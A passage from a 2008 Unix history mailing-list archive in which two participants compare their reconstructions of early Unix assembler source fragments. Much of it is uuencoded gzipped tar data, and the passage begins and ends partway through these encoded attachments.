M?>JO-S"_Y_O]]:6\OU_Q_3V?_F3I!1_.'MQ/PVP!ZA\O^8C+-!@65O*9^$FW
MN%QRZKO9Q$_TQ67ZC at H[TY]X45(FSJ]EOJ*L5RIQ5S3(&BR'^N8OM"O%!/0K
M<+765TN\6M+51E\U>-70U9Z^6N'5BJ[V]=4:K]9X-=7/-'BUL5].65[5#74U
MV^ER`=\-]&*^'%`?_`8&LTWQXV!S=^JCT*>%42H7981Q1J>H'`D")$:B^IBO
M/CM-S46I]"0RVFY6_/B+C7RJ%#08AU^K?6\VTLW'FU.EX1#Y+FQ^;"2;MQ`I
MR3E$&CD]B!6GA?PJGF<?U"E+<'LA._D^]?'W.#@VHC0X4/3PT]W<X[2MZ7MU
M"8JB/6Q`\P%J2^JZ\NFB8H2^/-`@!FTA*0EQ;DK3O[+G6QHI/TM[&GI:`P+!
M6R_^%[Q[R%ZN1&LJPV5;<K at 7>EI;X3:.,>)>K)D2YNTU?-ZVAWCKQ9/";?RQ
M?8VQ<IRM(_MAO35-N(Z*4WM[E[4&MO<P(N>H3(6"0<]&@K+IBX)M-G at S5+?-
MFBUV)?)&FM6=4ZW:$L,_V'0_6#NV!LR[W[(+'=KILPH.F+RK;31(?&W@!&^%
MX5T9PC@&?"JQ82%;SH"Y#+$U(N\\[)*([7"=8Z`<^*0,-ZV6DWP<X2P5%P&]
M;2*H-%:1R:/PD?IABD0,,%ZZ7=H:@;C"R9QPC.%.H=\Y9VJ$!JSL[<AY>THN
MA!-H206V36#:9+SEEH at 7K+I<[F?+;<Y1$/KKZSI_;3T^D/:SZ-&@$ILF("GG
M^(3+P49>='AF](GZH(\_MULL<NPG?)^6QSKV\SZ5P)%?R:;'HC9]M5>Q_[YJ
MGV._Z,+<^\7SIF5L9N:=R\OXWL%R&>T@@B7PUJ[KNP^#C7EI_E?=,\;S/WH-
M\3_Z_7;]]SD"\#\.`,!,X0!@Z:`7\%\=G(<4NY6=:OXQWA2PAKI<3U&Y&['!
M;L?.,<RZ9M?F8>='F8]&!C,AFLE'(TN:T!55WL[5)C`<;,8G5T7TQ(IWZYZQ
M9T3F>/`UFUQTTUF4#7]OS;UZ)3R8AD1L-PS+$S81\YJ3,:\IH3/#.X#CQ]ZL
MQS-]BWNR,\L.L;<A=A1W7^+V8A3;=&E!=W!33!<%#1K%%I:.BZF-:F<X/)[L
MXJ$]JO_AQXUP48D^4VW:8',_ at K433G:C[HJ38//E/NUM$4;%-^/)#IW'0GH_
MVEG%W6"U.2U`-!K,;%LKT`+ATH^'Z%T6AW,6>6Z6MHZ6(_5`YTBXSMU%(M#0
MBM#!RY&HILG%L$"KARE/<%R3FPP%8X0<S*,_11`'IF`FM;_NXDQ$^)2G*X/W
MU$3QPD<[7:QVVP($Z@(LP,#KIBT;U2^4%EL$E].VG$S!2.2I90$GP\'-QQC:
MYG=<==E[6(D3$9`CO<S$15[:K"%#CP51U]+/DSCV at A-6?[KT0B(@_^:#V^E(
M2J,L4X84P$^5>PI*X29(06[7+SE^OUHM9U,[[5M.)E11T,7A6\%I;B>(V+/=
MYLZE&9_#G-KR#E8K*QP5D]UL%GUS'2]J3N0N!%W5T`]#5;PM>GYO`W<T:>V$
M&CSJ&W8;KY>+CWL^V-PEL74/G?5>L*-:_J[9^6OJV"__(AY\4\FS#\8.S3_S
MACPM$9*AF9/W+^V at B`&_2-.FAR)4>R*@CUE8*X?YUW*W1>@0[`@JP&N?9_'%
MA$3<7^5V:O&&1YA;HJ<\L0,_G:B-[G`OC_KZT_G<8H83.M@"1\_GWD;L4`R[
M2P1FI.FDD)%*.*00SGEY+!7[0%UWS4.SVWSB=H-0UQ7F%=I'>`!ML(_P,`#E
M78078[&M,G6G_5V]_^>5_ZS\_]+\/],WE9?_R[K?RO_/&`[S_V`;*;'@&%ET
M8<CGA/VZWZ#;F:UW%.0T6]KK!G^\ZZ43DT<G_#E#?USAYDPKA]A.QPZE'\?%
M:E2`*45P<='U(N%588?>\7HQF-GHD_%ZO!@Y!,^KLG].W],).M!Z/RX6RP68
M1NUH<,58]T(Q(C&\%VYLK((\3RYUSBF'XKE^S(>^K/(('@;UH-P[&]LF-5A\
MAMN@,)M0FH;ZJUINFO,Y]@:TM?0Z0W<TJ=>/9A*V<5,=.5("&6ZZC8CV;',=
M164OFE`%(2H\%*6 at BC:R5Q,_!(".1]9+O.=X;?8-OMP67N.\8Q7M/(QBDQ#G
M8J\Y]GXO1,LP.+$T`%L/0H?^YJ#C(HBKFC2\@NUX8]^6;?6V$;'_T3?#V/L*
M\G73+=IK2:.,"S?R<DCF4U%"[X&Z**5[+OCAJS3R\'+]F(]!(1W,?B?O\=;1
M5X/UK=3RLB-C*9*@9WV!QSY2/(FPH:B9=H[P)<GSY%7W^>F=W83>V=721+3]
M7FW-=Y)-]QGHG8_J_^WX_^+\QU[I]7]54Q'_J=?N_WB6<)C_:+Z,_\@3POV\
M17+1H1Q0>S0)W^Y<3:>^8IX>V?@59$6Q]I(..1%9T6$?2=@X,P&PR/Q*=?]*
MW*\!BJ$$K&AY"F3AR16. at 9/ENHC&J3R'\,*`K#-8_&UK>_/!XG8<"T>./.AD
M%AB*8-G5N^GF[I>>Y*L?"LIR"<DO\[`2YL<HIK0X<<9&\<)*['8HD at Y`7J/U
M*N'\)CPYX\7M4C<,+93N%0;<LAF]ZSUDQC)DVM,T26WL[^%BAR:#SG at 2[F*6
M'. at XBMRZA#B5(AB_/9"P at PW5B0RX/W.-CI,<[+,^C5TL8900(P!&\<(J^'H2
M?0CI8&,V0WV0S6`%76A>*/B64C^1+`U'XLZ96M/VF?7R4\AEX('-)9V4B_RR
MI&D[_K\T_[&JFM*/_Z9D_]\M__E9PD'^(\[_-^/MM>I^I;#NS"NZP5CCASZK
M?)T_'/[YJB?UVOC=G(`-HITD!ZL-&1^L[7.WV&^\`$AML`>A\S`E`KN^M1;&
M%=C>95]2LFBNQJHZAHDX.GUF1I2K"B?UD^U$"1F:>=?.A(L\D;GWHH3K%L2,
M"1]'5$7E4,?X*)%7<Z?9CB<B8BKUFF^%OI^2-M>ZGE+U*-0:IGNMBRKM1R!A
M>OIU7`>^,-W)B7Q!XPW+(1,[-/NY%BUKP#M@!U&^,95AC;:$A'!6%J?$VF`Q
M"T<-#MS.-0DE=R]A,?XDFPL4!F.YN"""X#$\VCD$\X\Y,WY]4S3.D+)JTU$A
MW8022PFMS57S[1@;&R+V:*D'L$>^?3AJG8;C%43'XURX.UGZ`EMHA3'Q;#Q<
MK73F9HQ^`8X?C:`UN^>F-4T/;=E/@Z+UF)0'!>7Z%"TXC9*%SWBF$*)@$=QJ
MJ%`\U5&A at C3GUSD(PRE+W\&5JZP;2UB[:D(UH/H`T;+U5\<6*UZU7O$:12M>
M$@SZ/'<UXK7^_[__EQYHO]- at Y;^7YO]U`__/='MUT^I_GC&`H;IIBNFF&,]7
MV\_M9_(7"_;MOS#_J2RK7N/Y3Z;?)?]_IOW^GR,<YC^98_E/WD&W$5JAA at 2#
MY6J\E+JB1U"A at OKNDQ9CAR=.3?:5<"BIC<TO>BEM:CR]<M`H6AF[68-H[>1#
M*[JLG'(;"(FSZ=P9SB)?JGL9`:::APA2)B)%U4_- at JJZ&OF$KR[8#@4D-)CA
M[%L25-6%'F5KTM*&R:Y7R at DU[NW6.3`?TL:&1/,&&DEWHUQCS.`EL3Q`@IJO
M/I\75DI'%THHT\K7`ONP_(MAP%*%=Y?U-4SG at K<J<!TE$X!(38CC'$LY"32D
MJ\E9BBBR7)E!HF&)*]%&&2;W8:FY+'+%`Q=7A*/PJ$FSJAF%ZF"&H7_Y-1I?
M,VQCE:QPE+%+7Z./TF7Z3^I;B3;`K)M8+2+V`8FC2AZQ38=Z1&@XHD&4]+HT
M5TQ8J6`+,$.*;3#V'+:Q)N]4OPN';:E9S5%,)\5FN5N/QB!;3;S3+%^3HB'2
M0P?"2@]W`)[++`UL*X*->P<!9PDWA^9.AA70XB]ZEG9-X_!JD5R,045(V(>5
M&0LN#`P&31@,4)%7.U.4<J*):H<>=^@Q37WYMC`-T(GY4=04T<K"&?**!2BW
M8+49S.5"E1WQBLL0V=6/MP9&$AIN.3X/JS0/M>_]6*!AQ'M`^V?8RA^S]/:^
MSM`4<.<_P^B.N:UTSKC.K9R_Q:YP#\/.->1>[9`8784@(I_B\L$!GA=73JY2
M'@+B12MVCX7B9<:!+!\O,Z*_$CLKZFCE4>Q.,"I__/"^?]4/0_8B.R"QC!8;
MUYD)+Y>R,9)K-%FKI[!FY4R$\G5!]+Z3J^E$USKA]^#/&K7]F7I\)(LO"&=9
M`X#'$/GR at _L>.%]LJD25^C"I[TCC?3&\.LLBV$DS'K\'$HQI_BU[+6GS1IKD
MO'$^)</[&RXXO6 at Q(:)^<*I[]D#$MDE<2,K;\0!"["=!C7T9K>CO$;+V, at D/
M6H$<;:'0Y4]&K*5W3Z5IPB9J;\*N*PCVW=-]#2DP#+T,4(OR/!'1T.8527C$
M?/@ZMJ%?\FK\.E`ECYR)*Y]Z:&R(3JRX/GO=C"3GJBPF(B:?L!AV<K<+EHV'
M7`3CDMAH#O-"_KB\Q:X3#;#MUGXARGX*+%"&7I6:MQNV9;U!WSI=W(SOXPKT
MIZG97V8J-$2A+6@\=O1@;$#.#"]).1O2;`T^/>I1PCK8K(7W7]`:6-?+*@+(
ML;_1"/F%WX%^A;J_AECF4*OYSH"2Z90%FZ#,\%&(R4=^C?%J*]5:/WXL<REC
M8^W,U.NUF"YT]PCRMG;KX5,!*,M@`BWMNAK?X0O>9`JC3"28EDSY783!QKPT
M_[&INSW/?^SW<?VG9\I6__L<82__48`?X9-U6A8ZZ0?40SC(9R)`*C6P!UCE
MK3-W0=O4C<TX^?%>G81%B%"2+I.1QOA(VN3\RYB2V>=_.1?RSPI\-/RKC-B/
MX#OQ&]`?734+_"-K4!P<,B>2UY'?HR='199B\/N&K$AJ7G]F/*1D0 at I6)+25
M?8!(F?,G at D#:"<1V;!Y)@G0W9=Z?X,2"P1$GZ2*:_87),B'A02O3>1P8$FZ:
MFT?2(5V1O at 01Z>Y]%"?2U^$7PB*_[!UD*C[+BM35\43`R%(.N_/!_?9SZ#[F
M`]M]S$(^2ZH;L,4MHV*J^)"UL.E,6/+.R00>'#CP1E')J+\0D/ID8X2S0*0L
MNEW_>:-3RL>!L?I5(_V-^3T7/\2^REQM^*V;7`]\7 at H#C8I%G;A<0GI7_%)<
MF,YO\*?LT%=T[>EHY_%_<?ZW\\*<%]5Y49_7\KP]^<[_%^>K/>?K_'D[<Y7G
M._2E?DW&;#IE+@/OY*7D/%_*G0\9&Q^;L6P-O/LFY__"$T([_WMI_F?9Z]7.
M_J_LENS_K6GG?\\1P/X/`:"__^/WO`%0`(#^_*_N8#BZ&4]N?[4'=]/_OI_-
M%TOXO?JPWFQW'S_![_O/?X#CX[J!@U[_IS?_N?RUT_FPF%V?_/QWV/7\83J%
MQ/Z)G$5TA6*OX%]`,`X'-T at D_/GJRAZ23A7=4A6?[J:CNV)SM]S-;HK%^*/-
MX_A^NMEV&%2(2:RN3_"OYT%2>IX#*0\K?]BAQ9KK$UY^Z:S=,:_+=#K.H=0U
M#M67X#OM>+`C^43S1]OWX at B$GZDG'/*?#F?DNK#/8;]MUT44Q67-G;Y1Q^+1
MXFR'=LCY3*-_-<%3%+Q)=L[C[F0O/NY0@"--`$J:SE0"(<E;F*B%B?M-RGHF
M39K+SKW$3-H$L54P`O+._1(02YO"^I8!CT:1)B,L)!$\Z:![*;F0_G`5CC6!
MDS;JB>,(,DE"A#NR]2\*.Y75K*F9L/+'U4PG8`4O.H&F(3YEM#EQ1T\Z6MG^
M_X7YCT#U\O;?967:_O\Y`_3_;P[V_QX`26HO^_OR`M9Y\\#!#%GP&)1@#`^,
M<8$Q(#!&`L80P!C[%X/^%-K/L_TR:#\%\XOQ?3&P+T;T*2A?C.&+P7L*M:?@
M>L?B]!*`7H+,TY"\#!8O!>'Q"8^^R\#N^`4%O)T&VN40=BFTCD\$3%T"ILNA
MZ/B4@,]Q"PFXN10PER#E$HA<@HU+0'$Y-%P&!I?!OZ7`MP3QED#=,A at W/N/!
M;2FJ+8&S)3BV#(#M".2:AJPE6#4-4DO0:1J6EN#1-!`M0:!IZ%F".=- at LT,H
M,P4OT[@R#2C32#(-(=/8,0T:TV at Q#1/3^+`$&*8181H*EF#`-/A+H[XTW$OC
MO!X&>&ED5P+ITEBN!,2ET5L);$OCM1*@ED9H)=`LC<E*P%@:A97"KS3N2 at .N
M--(J at 5AI;%4"JM)HJ at 1&I?%3"7!*(Z;V0Z7V8*0>YD8]#(K2:"@-@]+X)P5\
MTH at G#772&*=CP4T:U93`F1(<4P)@TLBE!+*48)52D))&)R6PI!P>20.1<@@D
M#3U*,$<)V"A!&27PH at 17E`"*-))(0X at T=DB#AC1:2,.$LC2A+#]H#S%H+R/(
M7\#"=Q0`J*-8/U'R at NJC.#Z*W*-8/9K.<YC'HP@\"7-'4792KDY*TDG8.0DM
M1_-Q#A!Q'`A'K'5&C)CIVZ(22X=HU7S+Z_&PBH'"JEQ=/&/U^S9HW^ON.6DG
MT$.H=_AN)=_"8^<WVJXSK"4(#HX\8Y(S53"F)>_GFJ!#2HQLK#Q#1T6J0B30
M@(A;8(T2W0([+`^Z!2[1H]A(KN^23VB.L1)KV#814'9Y'@\^EU_,:^_B!)X!
MHKWTK3'>Z&5<7GEQ:[?TS!;DTH8VM*$-;6A#&]K0AC:TH0UM:$,;VM"&-K2A
;#6UH0QO:T(8VM*$-;6C#]Q_^!_U=9Q8`\```
`
end


From wkt at tuhs.org  Thu May 15 10:39:58 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Thu, 15 May 2008 10:39:58 +1000
Subject: [Unix-jun72] I recovered 100% of the s1 src code fragments
In-Reply-To: <20080515003523.F23795A525@remarque.org>
References: <Pine.BSI.4.64.0805141147550.22671@malasada.lava.net>
	<20080515003523.F23795A525@remarque.org>
Message-ID: <20080515003958.GA1894@minnie.tuhs.org>

On Wed, May 14, 2008 at 05:35:23PM -0700, Doug Merritt wrote:
> Tim Newsham ...newsham at lava.net... wrote:
> > How can we get a copy of this?
> 
> I've been trying to triple check my work, but ok,
> below see (uuencoded gzipped tar, 15k) the most complex
> set of reconstructed s1 frags, the many source files
> that is the source to "as".

Doug, all, I thought I'd have a go at the reconstruction too, so we have
a basis for comparison. Attached are my reconstructed files. I haven't had
a chance to unpack Doug's files yet.

I can't get the C files to compile with the V2 compiler, as the source code
uses a later version of the language (e.g. char *argv[]).

Cheers,
	Warren
-------------- next part --------------
A non-text attachment was scrubbed...
Name: rebuiltfrags.tar.gz
Type: application/x-tar-gz
Size: 56673 bytes
Desc: not available
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20080515/79fbebd5/attachment.bin>

From wkt at tuhs.org  Thu May 15 10:48:22 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Thu, 15 May 2008 10:48:22 +1000
Subject: [Unix-jun72] I recovered 100% of the s1 src code fragments
In-Reply-To: <20080515003958.GA1894@minnie.tuhs.org>
References: <Pine.BSI.4.64.0805141147550.22671@malasada.lava.net>
	<20080515003523.F23795A525@remarque.org>
	<20080515003958.GA1894@minnie.tuhs.org>
Message-ID: <20080515004822.GA2369@minnie.tuhs.org>

On Thu, May 15, 2008 at 10:39:58AM +1000, Warren Toomey wrote:
> Doug, all, I thought I'd have a go at the reconstruction too, so we have
> a basis for comparison. Attached are my reconstructed files. I haven't had
> a chance to unpack Doug's files yet.

Comparison results: most files diff fine except for a trailing blank line
here and there. Warren is missing as21.s; Doug's as24.s has a few leftover
lines which can be removed.

I will start checking the files into the subversion repository, using the
source layout from 5th Edition. I will also diff against 5th Edition where
possible to determine which way to deal with the trailing blank lines.

Cheers,
	Warren


From doug at remarque.org  Thu May 15 11:00:50 2008
From: doug at remarque.org (Doug Merritt)
Date: Wed, 14 May 2008 18:00:50 -0700 (PDT)
Subject: [Unix-jun72] I recovered 100% of the s1 src code fragments
In-Reply-To: <20080515004822.GA2369@minnie.tuhs.org>
Message-ID: <20080515010050.15AA45A525@remarque.org>

Warren Toomey wrote:
> Comparison results: most files diff fine except for a trailing blank line

Whoah! All of a sudden a flurry of intense action. I didn't think
anyone was in a big hurry, given the quiet on this list the
last few days. Obviously I was wrong. Below are the rest of
my reconstructions for you to compare.

This includes the ed2.s constructed from frag0 plus v5 ed2.s,
which is therefore a less a reconstruction of lower fidelity.

What's next? Do we have OCR on the various manual sets? I'd
like to reconstruct the roff input.

Still debugging my disassembler (and an ar tool with amazingly
obstinate bugs; it should've been easy).
   Doug
--
Professional Wild-eyed Visionary        Member, Crusaders for a Better Tomorrow
------------------------ cut here ------------------------
begin 644 s1_reconstructed.tgz
M'XL("(*)*T@``W1T=`#L/&MOVTB2\Y7\%6TA,];;)"79&<GR8#&'Q6&!W05N
M[W`?'.-`4:3-A"(Y)&4[.^/_?O5JLDG)F23(.(?;:'<L=G=U5755=55U-972
M_9\B#+*TK(I]4(7;L^^^_,=QYL[%8@'?SMQU'/S&C_ZF9]=U7._"F2\6Y]\Y
M[LQ=N-^IQ1_`R\%G7U9^H=1WVVQ_^R&XA[LP3%Z"H9?]E%W]^T%03<LO2L,!
MI9^SOH_HWW7.9Q[IWW4O+F;S&<#/O=GL.^5\42Z>^?R+Z_],H<+59**J>!=B
M(]NG59S>VO;T-LDVB;4+R]NQ^J7,BFJLHBP/T[&Z#:L'V[9VV;W5+_/!:%PL
M;*LJ*V[9MKNTK6"76\5B_,JSK4U266[4P(\+A\8W5K]P!N-7IQ.`24."H6Y7
M^K?<[T%_G`;6YOW6?V];VS"PV at 2M36&Y&]M;=N;G[?EYE-Q^RO2'AJTCD[H+
MW#10C6"B.$G]G:9`@C&!8+Y?W`;<*'-LY-S at B22IMV6!@"3[E8HV>^!G`TB0
M+QE#)=F6=?FSGZ99I1!2/52[_$WZQKE:J6EX'Z:V5;XOK?`QKIB/,JRV_(3T
M7L6`=URX)`7!BFIN"):U#@MGW"_<6@;NF":/W/,IBB*SO`VCR(-QDF6Y7CT1
M!1;0TFI$\=1HNM(<@4R#I+!B(DWLG3[B6/6^@UD:>1&GE;E`'$5U)B#;(@-,
M0J9Y1AH@@H3PQY'TCB.4.&I9C&T3_J+M,K)V\3:-;^\JA at JB`+!O;FOCCBSH
M'T]0\])N3Q!F][F?)%W6I06KWLM<,2!C8AH^($^BLHU%`B$3(1%!@S3(6G'`
M@!\;`SY*&Z@!Z:(JH=%L6M9NLW1_N[5>N:^G#6[0>%BQKM'L0;VPQ=RE067K
M5R'KD'#)UB*%CE_UWCAOG(8U at WYK'=A!^^UY;AK#:MLEMHA6ISWR#GKF!SWG
M1@^K5-K"J(UB.\:L7N[HN)B,Z7L]?5\6'YR^/YQ.!K/L:K2%3>^FPI,!V)KC
M8F9(U.M(M)@1<"-/P4Y^GU at C2=2NH0R3,*A6"N<#1AF4'0%X9XW)B2VPM++*
M3XB2'N1MB4RQ=S8G&W3`OF;+1@;((;`=6:]Q*;Q)])BW%,T98YK:)O'3=UWB
MM6"1T65[]Q\WT<)K[?(/[_IM#%V`C5O@<F(&BVE>O7MW65KY&VT+Y7[#MD``
MY&,VK*D)=NL(2D;",T?>?-J$6IS_"GI,?`8);2#"M8_"=AF_!'1IX1R_#.HY
MKS(*$YYX(&81Y3SZA)Y7I\IHX[8ESP+F3_*ZQPWN3,?:$Y,$S-U_6HMMPWL>
M48E)\*BK1]T.X3>5[B")F*M!K3HZW+A$`>/)0Q%7X4HAY$HYR^GTT#T;>9!G
MF!,9V_)H-#E. at R;`GJ*U:#2TOX]Y&Z*J;4$C[CC at 9YQE@UM,OFT.AB_Q&E*4
MN+F-2QX=\R5HDXW"F_2KZ?>>&Y at _-W#>(N%I/9-/\[HQX!B;6E*F%7Y&!V_T
M")&#\40L?&J*WY.]QZF"_YAOCXV2VQ+/Y-9X7<.*NV'',"^WT1TG`\M#E^/J
M2&[P>X0%]DC=&,J\:&P--?;#RR.V<6@#"()9+1L=='I-9XYA:-:XT7K[%#-<
MW]R>+XVC`4I_3 at DZ8)EOB-@&/>!<#&6N3PP32=G564T2,949^8`9)RFSJ,YN
M88\,^\5B0+P\8TZ\LH6._)"SVQ0QM!0RR9B-M=2IF>8>,Q=9#AJ3,(A196/Z
MI(G+H.U]R+&"XD=UE^W+5BS;QK=Q]2DMH;:LS6J?1%89/U9WOX]7<YKJR8;W
M;**)]IZUL;I+8_6P>"/I,P*!VQS!NA.6!Q,PTJ*HZFSQ at YY:FR\M at V:`Y5=P
MA-5^FZ(PHS@>6EJ)'Q_*EA8>K6R.IH!TYDXA07D-?^AIYAQY.CZ at Y_[X.7,Y
M,@/]R[_XZ15\_3G<X-=?_0*__I07W'J/7W_9I_R5T-C^%K_^$>;X]?>@PJ^_
M9??X]6]A<&6C9['FB_GL?#7S',=9P?]LLD'HOCB'#G=V,;N84S^Y. at 0_!W`'
MX5WJ)]N"?L>9N2O7G9]WOVS0!(R[SIP((`G,#Y?6)7TKI:YL#J+6I75EH]3A
MZ0R\SYF_W9W1`=>YLOET.]V4I:T=UW*ZGHY>3VT*NTL+6YZ-/LEXSO4S)OW\
MC"?8J&XM/&=JTQG+6BLZ&;RF-K@`W0%I"AB%1H31F9^O8>H0XN[-2H5@=^@O
MZP$<.:<1.`5D-34DABFP1O8R]9^#^E\<38,O3./#]3]GYERXG?K?[/SB_%O]
M[R4^9T,51RK(=CL_W:KAF6W#X=+R\Q5_!RL[N/,+:SCT[U<V[/0X[5-H5_#W
M?D"#:HC/US<K^U<LLU4JS<<J'BN8:_%X2@`+YV8,ST`+OWS\\PBRO^T/`#.0
M4FM$BK/\>WX&DA9PU_>#2V^@BK#:%RD.YS#LRECXF/<'`P6DK13['>BW'N[B
M)%3]U%]K$A!-`8#X2//1Z`8 at 4Q]!==^-GHM(TWR]=@R*5O at 8!O=]AL5ET!-\
MY0.:HN?BXN"Y1RYJ$Z=GC[__Z=4,]X.UIG`=WPP4+8IP7O\XBIEI%(_U9#?=
MV'GZQCDUN(21T;S+8S/6':&PV7?'JI=FVA+>I+VQ<ET:+\/P7=\9*_B_AQU/
M]I,MBM?2!4Y%4_F5'VC!]9VA#[+&.=+AWU]CSPUT`0Y474FJ0ZO)732#W(7U
MA"[:!*OWE[XF`@Q.LMZ at Q@Z at ORE6/QG%9-(0RETAX?:/$O">(^`W!!12^(&8
M^0`!3P@<H#KID=$)_$DX.X9&>A'1K,VI;!U_)9+M&[9,QGF;59D*BX+6@;1A
M1_7Z/=D+O$P4#MLT,-#B;H"`!HK6ND#%)M))T5I*%6<&)F<P6+6A'SX`[1Y`
M!VWHH`C]JI[`T+26QE>0.'+WN!!RM.-U"R=3:J,T@$_6'44=@`-^R+*:;0+T
MH2LK:)/\B!QAS;G/>L3UPOR(]X0/G&,QGKNT.[M"UE%+09*58=\?&`H0^>NF
M(UA9+CY-,R#1<(C?3>V+P:]N:E<<TV+9/6$1`=;M at V]1)VNU01_3T'68.QPF
M3\->9=!AC.2=(-VO';B^?;[(YR#_0PU_X0SP=_(_=[[HYG]S;^%\R_]>XH-9
M7A9%95A9SD<E>.%C%4)LC.)4QZ at D3L/K\_D-NAKH!F>SW>?:GZC^R2T<BS!_
M0+@!A&Q$?[EVV0,V7E6[<O&KSR0?5I.3/=GF*-*32S^D>AM60*]/-+N4$G\3
M)@KO2:-LKW.=\T/LB`?RH=PO"`^+Y-J]T9$3R:T:)EB,S`GX9>&@%!F61H(<
MW(V/>&:(\<'=&J8%%.+)_2K3^1(_=R?KT^6I+(FS1NQZDYY"KL*/[+9!.8"=
MT>&"M.NFI4F"W":H3A%0A at B5:I"V\1/Y\EHGI7>(MD,/U7-MIJ?MB":"+4$A
MI:=EY%[?8-,4U3%)P2P)8@"+F7)72CAN1C%E!KDFAMG,K8V1FK4W&C6,XB!P
M)0G:U]ZH?]#GT/\GV>9E_?_B_/S;^S]?ZP/G?]2XG]0U@,G$MI6B7 at 4[U-^5
MU.X->PJ<._>HG0][(RQ5,0U5;SKL$<1/ST!,`80AKJ?3Z<TQ*-QH/MA?H8+$
M+\L:V)_\\[DIOJKN"E#:G?KGE#C,PR+*BEV]D(>XND.7O=^%X$B2N*P`RC!U
MY9<0`)(D>RB7.%]A)82(J&T&!#!`!%CC!=JP>@@<U_`G*W"A8[4O0Q57B",N
MZ]G0 at 5/'&!X!?Y+`0P*H`$.P+PKD8QO#?JNRXCU/`F\+?I/6!.L)F3[XP*RH
ML`V/N!0DABU>9Q'"B6)+X'JMJ;\+><$]K#OTB$U=A2#9`Z-%^,L>J&^G-M9Y
MJ*[C;[`@Z=RL+`LM(4S#PD?1U/HHL2;$)2#_WD?@`U at M8@,48!6`Z^(12#Q.
M;Y6_^>@24CQ6;[F"1*TTVT+X!=%%,"N7WFASO<!PL;EV+V[J`W.0C_%/IL_-
M2$I=JEDW"?A3<:OH73<._TX[_#])E<FA:A1%!2`WER*1?KDHSS#X(=QP-))Z
ME<1D[`NP^*$H:D-T'9Y"[H,//^F'ZU-))#`6)D2)RR.(-<O?]X&`CFB3"2[D
M:NVU<P]ZWF9I]K#BD"H!<CB9(%\0_LXD6`^)3UTI`I`^BG--A], at 7Z^!UD]@
M,CVUA!5E=*Z_="B/(!H`1V4"6I0BO'52071=EAH@!D(G*):LL[HV37`)8Z"A
MKD"B)B#@05JM`_??LF;;L+IF35%IQ>NF=U:P;`AB2?"63_(8.#=O^VPY/X@=
M>8,K.7\;@]%FK%X/=`&0()L*0^+I`=JI?00.<DDL+5$V at G3$W-(HG-])LM%F
M8(#J at MZ3+=4`9(>T#H-O:X.*+_U\(CDS+C-NJH:CT5L8%%Z,G!5HQS=C^/OV
M1G-*K%(_<6#1(W>];;K>UH5&JC3B?S%M@:</V2)9X5*7`8\D^*!%DEY3-FGO
M-Q25KL)RM=+G8JM_K^6!,B0'=];#;A@=U,#Q(2#X/X"+C\%@DE@!4(P.9(`[
M14QB2,5G$B]L(FHPQ?*NU]116YP]=6SUH(;ZA&X/[08B0ZX]'CP/\Y6N'0Y+
M<`A3S+&'^0D^M7-673\UT#!>_SG$1@(=P'_9.SB`P7<9!. at 9X0N-M@34"3XY
M%_C!PPP$$0A%[,!R+F(%/H0?\%:@7"M[UZFQ,Z+12!M at C2#@R99,OZ'I;*#9
M.W(L5F=9HQ&PCIAX?UAA4H8M.(=J=QKC1#`B2[_!XM3E&I<'(L2_T``>UCF>
MUVI39KU#][J?!&M@<0""(=.FX189)O(3$L''7Y;L-LN at J6\?Y=M4&^,8$J/2
MOZ\5IF<0D&.`G""-9KL!MT24?22R<G"8VG_0"B`<F/<9?$QBWS$L!^+8M"&-
M1N-\T`9][N!6G]N&>(H;EEYC=.XX@)9Y(.\'+EF<"S'19*:N$_0#CP"\#D!S
M]'4A2G7BG\`$[E7@:?8@<)9NPQDQQ8VJ1,5"H@*&0BF)(0=J4VAC'AOD52F8
MP5VTCJNM97\6!>ZC"X%C4-XQ/KYL_G]P_HN"%[__G2_FA_>_BV_GOY?X0"8/
MAZ:J\-/6)3#E[55YO<!\7[+XJLP5VK<^#>"%KFXE>+SBCM_)\%6S5R2/3Q,(
M45'BW]*M\5O<0(S.T=D`1O0TP;".8-*IDY\8LGNDQO%':G_E/NI7:_(%1#?&
M%`C3X4C288O>HH[ZO>_+)07J:J`3-B+;BX*>[G"QH](MK[XIIF07#GGE^Y*3
MC3,4)>P at E[(3,ZLP$/MEK\ZT"'-OTG1X3'M:[7*WZ9TU)*V&("8E@$QG(1A[
M9>'2W*=)G+ZKF\`MM7O^--M7M&0XB`B0=-:)8BV?778?JL@'66^7ZOO2E)59
M+I7X^J0P:.MD$[7%T567']EK2U[)L)3]5*2<">8_%4EE?1IH39EH6EB>]&U]
MA at 5GLAGD3::Q#:4)9]^L/MU7R_.)0Q0'6RT*$7\==\CH?@,+;+\4H&_]:\TF
MVQXW6:UG2;PYBPIGFF$W)NV>D<ZG"49>S+:9068-JY:,0[I[DR3JM7L8;PQ_
MIWZO"]SN<"B],`T&>!2#X?(GVHM9HM97T/7+&R#28491+1"$&46W>BD5A2J(
M5**-"G1W)A5H+6:=R06D1I at _43,MW<OU:ZPL7WF8^P*>. at _&C#@R;R"Q=9".
ME,?7H,.IQ-GK">VLT^Q40CG+!,Y]VC]%6'H>WALB@)7C$6%?UE?PU1HV^#M]
M`?]K?1H at -+A.O6E^]M/3BHM`LF4B>0DCKOH3ON)5(A22&9J_/M[56/ZS>*_\
M6_"F@(%WG#F_EO_)^L&'[A^8V4&=3W'[!V=V<3'`$SF=Y at T,(D>!N[IZ/0"I
M$[212'7$RIX[@U"`0L%OW%O8TA*'AF0OK>0%01FO[%80KHX,"57]V[&!K(XJ
M0,<-+L'2"DH+Q]`^+;/R(N;(!H9K'U8(S]XCT6=Y[.Q>$2BRJR01E]"Z:O_:
ML?J/^!SD?V@@+UO_A\'%X?VO^RW_>XD/Y'^H<?P!,-:4BSV]PH8I(*5QM,<Z
M=[#_/S?"O^CG8/\'^4N?_]SSF=,]_UTXW_;_BWR:PYIY5AOR9<:OW-SLH^N%
MZ]W0.\%X9;:%?"8-'\8J7<D$?)-NF'OX[AF_.JQVV39<\1ME>`,#,;AS!=/[
MK]*_#?&V00%&O"=3@!._,6'RSIN$J:Z%]?M(O'ZECM_&H%N$2\AN6LC-'\+C
M',0[)<3>`>*(*L&T+E at J=B+S0`87#GDC944K80!XQ(,HOXZ'''@W8P0WF"!T
M>DP)2IJ-"&>$$/:!)&6<\KGRQC.>'2;T<C-T>KK3:SHW.3-6=TC>-1IMY"(J
M]^1^@3KDHH:1;?)GIK@#?42D67QOQ&<\@LD]?>!M2P!_`-19_:$2"!25:VAA
